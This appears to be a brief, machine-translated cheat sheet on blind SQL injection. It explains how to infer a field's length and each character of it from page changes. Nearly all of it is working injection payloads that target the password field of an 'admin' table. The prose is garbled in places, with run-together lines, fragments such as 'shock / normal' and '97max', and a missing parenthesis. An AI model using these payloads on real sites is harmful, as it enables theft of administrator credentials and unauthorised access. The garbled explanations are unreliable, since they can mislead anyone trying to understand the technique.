Sql Blind Grammar judgment data content

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If there are no wrong numbers on the page, the blind syntax is used to judge the data content according to the page changes.

Get the data length:

And (select top 1 len (column name) from table name) > 5and (select top 1 len (password) from admin) > 16 and / error and (select top 1 len (password) from admin) > 15 shock / normal

Gets the data of the specified number of digits:

And (select top 1 asc (mid (column name, position, 1)) from table name) > 97and (select top 1 asc (mid (admin,1,1)) from admin) > 96max / judging the content of the admin field, the first ascii code value is greater than 96 normal and (select top 1 asc (mid (admin,1,1) from admin) > 97max / judging the admin field content the first ascii code value is greater than 97 error description is 97mid (string, intercepted position) Number of characters intercepted) asc () / / convert characters to ascii codes for easy comparison

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